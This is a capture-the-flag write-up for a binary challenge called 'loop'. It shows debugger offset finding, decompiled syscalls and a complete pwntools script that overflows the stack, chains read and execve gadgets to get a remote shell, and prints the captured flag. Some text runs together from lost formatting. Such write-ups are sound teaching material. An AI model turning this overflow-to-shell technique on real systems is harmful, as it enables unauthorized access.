## Loop Solution
Testing some initial input, we realize we can influence both RAX and \[RSP\], after 33 and 73 bytes respectively.
```pwndbg> cyclic 100aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaapwndbg> rStarting program: /root/workspace/loop The end is the beginning, and the beginning is the endaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Program received signal SIGSEGV, Segmentation fault....
pwndbg> x/s $rsp0x7fffffffe648:	"aaataaauaaavaaawaaaxaaayaaa\n"pwndbg> x/s $rax0x6b6161616a616161:	<error: Cannot access memory at address 0x6b6161616a616161>pwndbg> cyclic -l aaat73pwndbg> cyclic -l 0x6a61616133```
Since the binary uses syscalls(), we should be able to construct our own syscalls to execve(). However, since the binary does not have a "/bin/sh" string, we will need to write one to memory ourselves. Luckily, there is a writable region of memory mapped at 0x666000.
```00401000  int64_t _start() __noreturn
00401000  {00401019      syscall(sys_write {1}, 1, "The end is the beginning, and th…", 0x37);00401042      syscall(sys_mmap {9}, 0x666000, 0x1000, 3, 0x22, 0xffffffff, 0);0040104b      trial();0040105a      syscall(sys_exit {0x3c}, 0);0040105a      /* no return */0040105a  }```
There are a couple syscalls() calls in the binary. Since we will need to perform both a SYS_read and SYS_execve, picking the right one proves important. We can reuse the syscall used for the earlier SYS_mmap since, it immediately enters the main trial() function afterwards. This will allow us to perform a second overflow.
```0040103d  b809000000         mov     eax, 0x900401042  0f05               syscall 00401044  48c7c3ffffffff     mov     rbx, 0xffffffffffffffff0040104b  e810000000         call    trial00401050  bf00000000         mov     edi, 0x000401055  b83c000000         mov     eax, 0x3c0040105a  0f05               syscall 
```
Putting it together, we will:	- syscall(SYS_exec, path=data, argv=0, envp=0)	- send "/bin/sh\0\n"	- syscall(SYS_read, fd=0x0, buf=data, len=9)
Our final exploit follows:
```python3from pwn import *import time
e = context.binary = ELF("./loop")p = remote('0.cloud.chals.io', 34997)r = ROP(e)
pop_rdi = p64((r.find_gadget(['pop rdi', 'ret']))[0])pop_rsi = p64((r.find_gadget(['pop rsi', 'ret']))[0])pop_rdx = p64((r.find_gadget(['pop rdx', 'ret']))[0])syscall = p64(0x401042)data = 0x666000
def write_rax(rax):    '''33 bytes to write rax, 73 bytes to overflow [rsp]'''    return cyclic(33)+p64(rax)+cyclic(32)
def sys_exec():    '''syscall(SYS_exec, path=*data, argv=0, envp=0)'''    pad = write_rax(constants.SYS_execve)    chain = pop_rdi    chain += p64(data)    chain += pop_rsi    chain += p64(0x0)    chain += pop_rdx    chain += p64(0x0)    chain += syscall    p.sendline(pad + chain)
def sys_read():    '''syscall(SYS_read, fd=0x0, buf=*data, len=9)'''    pad = write_rax(constants.SYS_read)    chain = pop_rdi    chain += p64(0x0)    chain += pop_rsi    chain += p64(data)    chain += pop_rdx    chain += p64(0x9)    chain += syscall    p.sendline(pad + chain)
def send_sh():    '''send "/bin/sh"'''    time.sleep(1)    p.sendline(b"/bin/sh\0")
sys_read()send_sh()sys_exec()
p.interactive()```Running it gives us a shell and we can read the flag.
```~/workspace $ python3 pwn-loop.py 
[+] Opening connection to 0.cloud.chals.io on port 34997: Done[*] Loaded 6 cached gadgets for './loop'[*] Switching to interactive modeThe end is the beginning, and the beginning is the endProceed? (y/n): Proceed? (y/n): $ whoamiloop$ cat /home/loop/flag.txtFLAG{4ll_7h15_l00p1ng_g07_m3_d1zzy}